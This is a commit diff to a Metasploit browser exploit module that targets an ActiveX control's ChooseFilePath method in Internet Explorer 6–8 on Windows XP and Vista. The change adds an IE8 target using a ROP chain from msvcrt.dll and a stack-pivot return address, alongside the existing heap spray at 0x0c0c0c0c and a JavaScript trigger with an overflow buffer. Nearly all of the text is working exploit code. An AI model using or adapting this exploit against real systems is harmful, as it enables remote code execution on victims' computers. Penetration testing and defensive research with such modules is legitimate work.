@@ -12,11 +12,12 @@ class Metasploit3 < Msf::Exploit::Remote
12
12
13
13
include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
14
include Msf ::Exploit ::Remote ::BrowserAutopwn
15
+ include Msf ::Exploit ::RopDb
15
16
16
17
autopwn_info ( {
17
18
:ua_name => HttpClients ::IE ,
18
19
:ua_minver => "6.0" ,
19
- :ua_maxver => "7 .0" ,
20
+ :ua_maxver => "8 .0" ,
20
21
:javascript => true ,
21
22
:os_name => OperatingSystems ::WINDOWS ,
22
23
:rank => Rank ,
@@ -37,12 +38,15 @@ def initialize(info={})
37
38
'License' => MSF_LICENSE ,
38
39
'Author' =>
39
40
[
40
- 'b33f' , #Original
41
- 'sinn3r' #Metasploit
41
+ 'shinnai' , #Vulnerability Discovery
42
+ 'b33f' , #Original exploit
43
+ 'sinn3r' , #Metasploit
44
+ 'juan vazquez' #Metasploit, IE8 target
42
45
] ,
43
46
'References' =>
44
47
[
45
48
[ 'OSVDB' , '86723' ] ,
49
+ [ 'EDB' , '22258' ] ,
46
50
[ 'EDB' , '22301' ]
47
51
] ,
48
52
'Payload' =>
@@ -57,10 +61,34 @@ def initialize(info={})
57
61
'Targets' =>
58
62
[
59
63
[ 'Automatic' , { } ] ,
60
- [ 'IE 6 on Windows XP SP3' , { 'Offset' => '0x5F4' } ] ,
61
- [ 'IE 7 on Windows XP SP3' , { 'Offset' => '0x5F4' } ] ,
62
- [ 'IE 8 on Windows XP SP3' , { 'Offset' => '0x5f4' } ] ,
63
- [ 'IE 7 on Windows Vista' , { 'Offset' => '0x5f4' } ]
64
+ [ 'IE 6 on Windows XP SP3' ,
65
+ {
66
+ 'Rop' => false ,
67
+ 'Offset' => '0x5F4' ,
68
+ 'Ret' => 0x0c0c0c0c
69
+ }
70
+ ] ,
71
+ [ 'IE 7 on Windows XP SP3' ,
72
+ {
73
+ 'Rop' => false ,
74
+ 'Offset' => '0x5F4' ,
75
+ 'Ret' => 0x0c0c0c0c
76
+ }
77
+ ] ,
78
+ [ 'IE 8 on Windows XP SP3' ,
79
+ {
80
+ 'Rop' => true ,
81
+ 'Offset' => '0x5f6' ,
82
+ 'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
83
+ }
84
+ ] ,
85
+ [ 'IE 7 on Windows Vista' ,
86
+ {
87
+ 'Rop' => false ,
88
+ 'Offset' => '0x5F4' ,
89
+ 'Ret' => 0x0c0c0c0c
90
+ }
91
+ ]
64
92
] ,
65
93
'Privileged' => false ,
66
94
'DisclosureDate' => "Apr 1 2012" ,
@@ -104,7 +132,6 @@ def get_target(agent)
104
132
def ie_heap_spray ( my_target , p )
105
133
js_code = Rex ::Text . to_unescape ( p , Rex ::Arch . endian ( target . arch ) )
106
134
js_nops = Rex ::Text . to_unescape ( "\x0c " *4 , Rex ::Arch . endian ( target . arch ) )
107
- js_random_nops = Rex ::Text . to_unescape ( make_nops ( 4 ) , Rex ::Arch . endian ( my_target . arch ) )
108
135
109
136
# Land the payload at 0x0c0c0c0c
110
137
@@ -135,7 +162,13 @@ def ie_heap_spray(my_target, p)
135
162
end
136
163
137
164
def load_exploit_html ( my_target , cli )
138
- p = payload . encoded
165
+
166
+ if my_target [ 'Rop' ]
167
+ p = generate_rop_payload ( 'msvcrt' , payload . encoded , { 'target' => 'xp' } )
168
+ else
169
+ p = payload . encoded
170
+ end
171
+
139
172
spray = ie_heap_spray ( my_target , p )
140
173
141
174
html = %Q|
@@ -144,9 +177,9 @@ def load_exploit_html(my_target, cli)
144
177
<script>
145
178
#{ spray }
146
179
147
- var junk = unescape("%0c%0c%0c%0c") ;
148
- while (junk.length < 2000 ) junk += junk ;
149
- pwnd.ChooseFilePath(junk);
180
+ junk='' ;
181
+ for( counter=0; counter<=267; counter++ ) junk+=unescape("%0c") ;
182
+ pwnd.ChooseFilePath(junk + " #{ Rex :: Text . to_hex ( [ my_target . ret ] . pack ( "V" ) ) } " );
150
183
</script>
151
184
</html>
152
185
|
0 commit comments